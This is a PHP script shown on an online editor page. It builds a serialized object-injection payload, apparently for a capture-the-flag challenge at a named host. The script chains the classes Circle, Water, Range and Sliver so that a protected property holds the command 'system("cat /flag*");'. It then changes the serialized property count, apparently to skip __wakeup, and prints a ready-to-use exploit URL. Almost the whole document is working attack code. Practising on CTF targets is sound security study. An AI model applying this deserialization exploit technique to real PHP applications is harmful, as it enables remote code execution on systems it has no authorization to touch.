Online PHP editor | output for vPKTT

http://home.edu.ltsec.com:51281/<?php class Water{public $waterfall;} class Circle{ public $daemon; protected $dash; public function setDash($v){$this->dash=$v;} } class Range{public $horis;public $link;} class Sliver{public $secret;public $resty;} $circle=new Circle();$circle->setDash('system("cat /flag*");'); $water=new Water();$water->waterfall=$circle; $range=new Range();$range->link=$water; $sliver=new Sliver();$sliver->secret=$range; $payload=serialize($sliver); $payload=str_replace('O:6:"Sliver":2:','O:6:"Sliver":1:',$payload); echo "http://home.edu.ltsec.com:51281/?data=".urlencode($payload); ?>